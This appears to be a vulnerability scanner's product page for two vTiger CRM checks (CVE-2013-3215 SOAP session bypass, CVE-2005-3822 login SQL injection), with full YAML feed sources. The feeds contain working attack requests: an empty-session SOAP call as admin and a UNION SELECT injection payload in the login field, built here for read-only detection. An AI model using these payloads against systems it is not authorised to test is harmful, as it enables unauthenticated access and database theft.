vTiger CRM — 2 vulnerability checks
noctis ships 2 vulnerability checks for vTiger CRM, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
vTiger CRM SOAP validateSession() Authentication Bypass
| CVE | CVE-2013-3215 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/vtiger-crm/CVE-2013-3215.yaml |
Tests vTiger CRM for the authentication bypass in the validateSession() function of its Outlook plug-in SOAP service (soap/vtigerolservice.php). vTiger CRM 5.1.0 to 5.4.0 compare the session id sent by the client with the one stored for the user without checking that either is set, so an empty session id is accepted for any user who never logged in with the Outlook plug-in. Under the web root, /vtigercrm and /crm, the feed calls the read-only CheckEmailPermission operation for the admin user twice: first with a random session id, which must be refused with an empty (nil) result, then with an empty session id. The finding is reported only when the second call returns the permission check result ("allowed" or "denied"), which the service computes only after the session check has passed. Nothing is changed on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/soap/vtigerolservice.phpwith a crafted body - HTTP(S) request
POST {{dir}}/soap/vtigerolservice.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
prooffor^CheckEmailPermission=(allowed|denied)$→ finding QoD 75: vTiger CRM SOAP validateSession() Authentication Bypass (CVE-2013-3215)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-3215
- http://www.securityfocus.com/bid/61559
- https://exchange.xforce.ibmcloud.com/vulnerabilities/86163
Feed source — tests/vulnerabilities/vtiger-crm/CVE-2013-3215.yaml
# vTiger CRM SOAP validateSession() authentication bypass — CVE-2013-3215
#
# vTiger CRM 5.1.0 to 5.4.0, soap/vtigerolservice.php (Outlook plug-in SOAP
# service, no login needed). Every operation starts with
# if(!validateSession($username,$session)) return null;
# and the vulnerable validateSession() is
# $id = $seed_user->retrieve_user_id($username);
# $server_sessionid = getServerSessionId($id); // vtiger_soapservice row
# if($server_sessionid == $sessionid) return true;
# getServerSessionId() reads the session id that the Outlook plug-in stored at
# its last login; when that user never logged in with the plug-in there is no
# row, query_result() returns null, and null == "" is true in PHP. An empty
# <session> therefore authenticates as that user. The vendor's 5.4.0 security
# patch adds `if(empty($sessionid)) return false;` (and reads the row with a
# bound parameter).
#
# Detection (benign, read-only), per candidate install directory
# ("", /vtigercrm, /crm):
# 1. control: CheckEmailPermission(username=admin, session=<random>) must
# return the nil reply <return xsi:nil="true" xsi:type="xsd:string"/>
# (the SOAP service exists and refuses an unknown session);
# 2. probe: CheckEmailPermission(username=admin, session="") — a vulnerable
# server runs the permission check past validateSession() and answers
# <return xsi:type="xsd:string">allowed</return> (or "denied"); a fixed
# one returns the same nil reply as the control.
# CheckEmailPermission only reads the user's permissions. QoD 75.
#
# Tighter than the source NASL: the NASL accepts any non-empty
# <return xsi:type="xsd:string">…</return> on the second request; this feed
# requires the two values CheckEmailPermission can return (allowed / denied),
# and also tries the common /vtigercrm and /crm install directories without a
# prior product detection.
#
# CVSS: aligned on NVD (v3.1 9.8 critical; the issue listed the v2 7.5).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_vtiger_crm_auth_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103972, GPL-2.0-only).
uid: 5bb265b5-4b1b-4ae9-8a82-e04605ce9359
name: "vTiger CRM SOAP validateSession() Authentication Bypass (CVE-2013-3215)"
description: |
Tests vTiger CRM for the authentication bypass in the validateSession()
function of its Outlook plug-in SOAP service (soap/vtigerolservice.php).
vTiger CRM 5.1.0 to 5.4.0 compare the session id sent by the client with the
one stored for the user without checking that either is set, so an empty
session id is accepted for any user who never logged in with the Outlook
plug-in. Under the web root, /vtigercrm and /crm, the feed calls the
read-only CheckEmailPermission operation for the admin user twice: first
with a random session id, which must be refused with an empty (nil) result,
then with an empty session id. The finding is reported only when the second
call returns the permission check result ("allowed" or "denied"), which the
service computes only after the session check has passed. Nothing is
changed on the server.
cves: [CVE-2013-3215]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [vtiger, crm, php, soap, nusoap, auth-bypass, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-3215"
- "http://www.securityfocus.com/bid/61559"
- "https://exchange.xforce.ibmcloud.com/vulnerabilities/86163"
# OpenVAS/Greenbone NASL 2014/gb_vtiger_crm_auth_bypass_vuln.nasl (GPL-2.0-only)
steps:
# Random session id for the control call.
- id: mint
action: script
code: '"n" + rand_str(11)'
store_as: bad_session
# ── Loop group: every following step runs once per install directory ────
- id: init-control
action: set_var
var_name: ctl_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/vtigercrm", "/crm"]
var: dir
- id: init-probe
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
- id: control
action: http_request
method: POST
path: "{{dir}}/soap/vtigerolservice.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "text/xml; charset=UTF-8"
body: |
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:crm="http://www.vtiger.com/products/crm">
<soapenv:Header/>
<soapenv:Body>
<crm:CheckEmailPermission soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">admin</username>
<session xsi:type="xsd:string">{{bad_session}}</session>
</crm:CheckEmailPermission>
</soapenv:Body>
</soapenv:Envelope>
store_as: ctl_r
- id: probe
action: http_request
method: POST
path: "{{dir}}/soap/vtigerolservice.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'type_of(ctl_r.body) == "string" && ctl_r.body.contains("<return xsi:nil=\"true\" xsi:type=\"xsd:string\"/>")'
headers:
Content-Type: "text/xml; charset=UTF-8"
body: |
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:crm="http://www.vtiger.com/products/crm">
<soapenv:Header/>
<soapenv:Body>
<crm:CheckEmailPermission soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">admin</username>
<session xsi:type="xsd:string"></session>
</crm:CheckEmailPermission>
</soapenv:Body>
</soapenv:Envelope>
store_as: probe_r
# The control must have been refused (nil result) and the empty-session
# call must have returned the permission check result.
- id: verdict
action: script
code: |
let ok_ctl = type_of(ctl_r.body) == "string" && ctl_r.body.contains("<return xsi:nil=\"true\" xsi:type=\"xsd:string\"/>");
let got = if type_of(probe_r.body) == "string" { eregmatch("<return xsi:type=\"xsd:string\">(allowed|denied)</return>", probe_r.body) } else { () };
if ok_ctl && type_of(got) == "array" && got.len() > 1 { "CheckEmailPermission=" + got[1] } else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^CheckEmailPermission=(allowed|denied)$"
on_match:
finding:
title: "vTiger CRM SOAP validateSession() Authentication Bypass (CVE-2013-3215)"
description: "The vTiger CRM Outlook plug-in SOAP service (soap/vtigerolservice.php) refused a random session id for the admin user but accepted an empty one and ran the CheckEmailPermission operation as admin. Every operation of this service uses the same session check, so an unauthenticated attacker can act as any user who never logged in with the Outlook plug-in: read and create contacts, e-mails and calendar entries, and reach the attachment upload of the same service."
remediation: "Apply the vtiger CRM 5.4.0 security patch from the vendor or upgrade to vtiger CRM 6.0 or later, which reject an empty session id in validateSession(). Until then, block access to the soap/ directory (at least soap/vtigerolservice.php) from untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/soap/vtigerolservice.php CheckEmailPermission(admin, random session) returned a nil result; the same call with an empty session returned {{proof}}"
stop: truevTiger CRM <= 4.2 Login user_name SQL Injection
| CVE | CVE-2005-3822 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/vtiger-crm/CVE-2005-3822.yaml |
Tests vTiger CRM 4.x for the SQL injection in the user name of its login form (index.php, module Users, action Authenticate), which lets an unauthenticated attacker bypass the login and read the database. Under the web root and the usual install directories, once index.php serves the vtiger login page, the feed sends one login whose user name closes the quoted value and appends a UNION SELECT that returns a single forged user row (37 columns, then 36 for 4.0.x). The forged user name is built by the database from the product of two random numbers; the forged id ends with a backslash so that the application's follow-up update of that row fails with an SQL error before anything is written, and the forged status is "Inactive" so that the login is refused when that update does not fail. The finding is reported when the reply contains the application's "Error setting new hash for" message naming the database-computed product, or, after a refused login, when the login page of the same session pre-fills the user name field with that product. Either proves that the login query ran the injected UNION and returned the forged row. No account, password hash, login record or authenticated session is created or changed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?action=Login&module=Users - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?action=Login&module=Users - Parses / computes the next value with a Rhai script
- … and 1 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-3822
- http://marc.info/?l=full-disclosure&m=113290708121951&w=2
- http://www.securityfocus.com/bid/15569
Feed source — tests/vulnerabilities/vtiger-crm/CVE-2005-3822.yaml
# vTiger CRM <= 4.2 login form user_name SQL injection / authentication bypass — CVE-2005-3822
#
# vtiger CRM 4.x, index.php?module=Users&action=Authenticate (Authenticate.php):
# $focus->user_name = $_REQUEST['user_name']; // 4.2.4: to_html(...)
# $focus->load_user($user_password);
# and User::load_user() builds
# SELECT * from users where user_name='$this->user_name' AND user_password='<crypt>'
# The row is accepted when PearDatabase::requireSingleResult() sees exactly one
# row (a failed / erroring query just logs and redirects back to index.php).
# Then, before anything else, load_user() compares the row's user_hash with
# md5(<sent password>) and, when they differ, runs
# UPDATE users SET user_hash='<md5>' where id='{$row['id']}'
# with dieOnError=true: an SQL error prints
# Error setting new hash for <row user_name>: Query Failed:UPDATE ...::ADODB error ...
# and the script stops. Row values pass through to_html(), which encodes ' " < >
# but not the backslash.
#
# Detection (benign, writes nothing), per candidate install directory whose
# index.php serves the vtiger login page:
# user_name = <random>' UNION SELECT C,C,...,C# (37 columns = 4.2 users
# table, then 36 = 4.0.x), C = CONCAT(0x4e4f43544953,<a>*<b>,0x5c), except
# column 23 (status) = 'Inactive' and column 30 (user_preferences) = 0
# The random name matches no user, the UNION returns exactly one row, so the
# login query accepts that forged row:
# 1. MySQL >= 4.1.1 / MariaDB (default sql_mode): the forged id ends with a
# backslash, the user_hash UPDATE is a syntax error and never runs, and
# the page dies printing "Error setting new hash for NOCTIS<a*b>\".
# 2. MySQL < 4.1.1 (vtiger 4.2's tested database: a UNION column takes the
# first SELECT's type, so the int id becomes 0) or NO_BACKSLASH_ESCAPES:
# the UPDATE is valid but matches no row; status 'Inactive' then refuses
# the login and Authenticate.php stores the forged user_name in the
# session, which the login page (same PHPSESSID) shows in its user_name
# field: value="NOCTIS<a*b>\" (19 chars, fits users.user_name).
# The product is computed by the database. No user row, login history row or
# authenticated session is written (user_preferences "0" is empty() in PHP, so
# no preference is loaded into the session). QoD 97.
#
# Better than the source NASL: the NASL logs in with admin' or '1'='1, which
# really logs in as admin: load_user() overwrites the admin account's user_hash
# with md5(<NASL password>) (verified on a real MariaDB sink) and a login is
# recorded. This feed's forged-row UNION proves the same injection with a
# database-computed value and writes nothing; it also needs no known user name.
#
# CVE mapping: the issue lists CVE-2005-3818..3824 (the whole November 2005
# vtiger 4.2 advisory). This feed proves CVE-2005-3822 (SQL injection via the user
# name in the login form). The XSS (3818/3821), HelpDesk SQLi (3819), module /
# action traversal (3820), templatename eval (3823) and add2db upload (3824)
# are not covered. CVSS: NVD has only a v2 score (7.5) for CVE-2005-3822.
# The payload is MySQL syntax; vtiger 4.x on Oracle (ADOdb oci8) is not tested.
#
# Ported from OpenVAS/Greenbone NVT pre2008/vtiger_flaws.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20317, GPL-2.0-only).
uid: 2f5fe874-7759-4346-a8f3-155a066e8bb3
name: "vTiger CRM <= 4.2 Login user_name SQL Injection (CVE-2005-3822)"
description: |
Tests vTiger CRM 4.x for the SQL injection in the user name of its login
form (index.php, module Users, action Authenticate), which lets an
unauthenticated attacker bypass the login and read the database. Under the
web root and the usual install directories, once index.php serves the vtiger
login page, the feed sends one login whose user name closes the quoted value
and appends a UNION SELECT that returns a single forged user row (37 columns,
then 36 for 4.0.x). The forged user name is built by the database from the
product of two random numbers; the forged id ends with a backslash so that
the application's follow-up update of that row fails with an SQL error
before anything is written, and the forged status is "Inactive" so that the
login is refused when that update does not fail. The finding is reported
when the reply contains the application's "Error setting new hash for"
message naming the database-computed product, or, after a refused login,
when the login page of the same session pre-fills the user name field with
that product. Either proves that the login query ran the injected UNION and
returned the forged row. No account, password hash, login record or
authenticated session is created or changed.
cves: [CVE-2005-3822]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [vtiger, crm, php, mysql, sqli, union-based, auth-bypass, login, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3822"
- "http://marc.info/?l=full-disclosure&m=113290708121951&w=2"
- "http://www.securityfocus.com/bid/15569"
# OpenVAS/Greenbone NASL pre2008/vtiger_flaws.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the two login bodies ─────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x5c)";
let r = "n" + rand_str(9);
let pw = "p" + rand_str(9);
let mk = |n| {
let cols = "";
for i in 0..n {
if i > 0 { cols += ","; }
cols += if i == 22 { "0x496e616374697665" } else if i == 29 { "0" } else { c };
}
"module=Users&action=Authenticate&return_module=Users&return_action=Login"
+ "&user_name=" + r + "%27%20UNION%20SELECT%20" + cols + "%23"
+ "&user_password=" + pw + "&login_theme=blue&login_language=en_us&Login=++Login++"
};
#{ marker: "NOCTIS" + (a * b),
want: "Error setting new hash for NOCTIS" + (a * b),
expr: a + "*" + b,
body37: mk.call(37),
body36: mk.call(36) }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
# ── Per candidate install directory (loop group) ──────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: "", headers: {}}
loop:
var: dir
over: ["", "/vtigercrm", "/vtiger_crm", "/vtiger", "/crm"]
- id: init-p37
action: set_var
var_name: p37
var_value: {status: 0, body: "", headers: {}}
- id: init-p36
action: set_var
var_name: p36
var_value: {status: 0, body: "", headers: {}}
- id: init-l37
action: set_var
var_name: l37
var_value: {status: 0, body: ""}
- id: init-l36
action: set_var
var_name: l36
var_value: {status: 0, body: ""}
# An anonymous index.php request renders (or redirects to) the login page.
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == ""'
store_as: landing
- id: gate
action: script
condition: 'hit == ""'
code: |
let b = if type_of(landing.body) == "string" { landing.body } else { "" };
landing.status == 200 && b.to_lower().contains("vtiger") && b.contains("user_name")
store_as: is_vt
# Session cookie (PHPSESSID) from the landing reply, "" when none was set.
- id: cookie-landing
action: script
condition: 'hit == "" && is_vt'
code: |
let sc_h = landing.headers["set-cookie"];
if type_of(sc_h) == "string" { sc_h.split(";")[0] } else { "" }
store_as: ck
- id: probe-37
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit == "" && is_vt'
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck}}"
body: "{{sc.body37}}"
store_as: p37
# Default MySQL / MariaDB: the forged row's id breaks the user_hash UPDATE
# and the page dies naming the forged user_name (computed marker).
- id: check-37
action: script
condition: 'hit == "" && is_vt'
code: |
let b = if type_of(p37.body) == "string" { p37.body } else { "" };
let i = b.index_of(sc.want);
if i >= 0 { "dir=" + (if dir == "" { "/" } else { dir }) + ", 37 columns, reply: " + b.sub_string(i, 120) } else { "" }
store_as: hit
# MySQL < 4.1.1 types a UNION column after the first SELECT (users.id is an
# int, so the forged id becomes 0 and the UPDATE matches no row), and
# NO_BACKSLASH_ESCAPES keeps the UPDATE valid too: the login is then refused
# by status='Inactive' and Authenticate.php stores the forged user_name in
# the session, which the login page shows in its user_name field.
- id: cookie-37
action: script
condition: 'hit == "" && is_vt && p37.status > 0'
code: |
let sc_h = p37.headers["set-cookie"];
if type_of(sc_h) == "string" { sc_h.split(";")[0] } else { ck }
store_as: ck
- id: login-page-37
action: http_request
method: GET
path: "{{dir}}/index.php?action=Login&module=Users"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit == "" && is_vt && p37.status > 0 && ck != ""'
headers:
Cookie: "{{ck}}"
store_as: l37
- id: check-l37
action: script
condition: 'hit == "" && is_vt'
code: |
let b = if type_of(l37.body) == "string" { l37.body } else { "" };
let i = b.index_of("value=\"" + sc.marker);
if i >= 0 { "dir=" + (if dir == "" { "/" } else { dir }) + ", 37 columns, login page after the refused login: " + b.sub_string(i, 40) } else { "" }
store_as: hit
- id: probe-36
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit == "" && is_vt && p37.status > 0'
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "{{ck}}"
body: "{{sc.body36}}"
store_as: p36
- id: check-36
action: script
condition: 'hit == "" && is_vt'
code: |
let b = if type_of(p36.body) == "string" { p36.body } else { "" };
let i = b.index_of(sc.want);
if i >= 0 { "dir=" + (if dir == "" { "/" } else { dir }) + ", 36 columns, reply: " + b.sub_string(i, 120) } else { "" }
store_as: hit
- id: cookie-36
action: script
condition: 'hit == "" && is_vt && p36.status > 0'
code: |
let sc_h = p36.headers["set-cookie"];
if type_of(sc_h) == "string" { sc_h.split(";")[0] } else { ck }
store_as: ck
- id: login-page-36
action: http_request
method: GET
path: "{{dir}}/index.php?action=Login&module=Users"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit == "" && is_vt && p36.status > 0 && ck != ""'
headers:
Cookie: "{{ck}}"
store_as: l36
- id: check-l36
action: script
condition: 'hit == "" && is_vt'
code: |
let b = if type_of(l36.body) == "string" { l36.body } else { "" };
let i = b.index_of("value=\"" + sc.marker);
if i >= 0 { "dir=" + (if dir == "" { "/" } else { dir }) + ", 36 columns, login page after the refused login: " + b.sub_string(i, 40) } else { "" }
store_as: hit
# ── Finding (inside the loop group: stop ends the scan at the first hit) ───
- id: report
action: match
source: hit
pattern: "^dir="
on_match:
finding:
title: "vTiger CRM <= 4.2 Login user_name SQL Injection (CVE-2005-3822)"
description: "An unauthenticated login request whose user name appended a UNION SELECT was answered with the single user row forged by the injected query: the application returned a value the database computed from two random numbers as that row's user name. An attacker can log in as any user, including the administrator, without a password and read the whole CRM database (contacts, accounts, users and their password hashes)."
remediation: "Upgrade vtiger CRM to 4.2.4 or a later release (5.x or newer), which escapes the user name before building the login query. vtiger strips the slashes PHP magic_quotes_gpc adds, so that setting does not protect it. Restrict access to the application from untrusted networks until it is upgraded."
confidence_delta: 0.67
qod: 97
evidence: "POST index.php?module=Users&action=Authenticate with user_name=<random>' UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x5c),…# (expected {{sc.marker}}, computed by the database; nothing written) — {{hit}}"
stop: true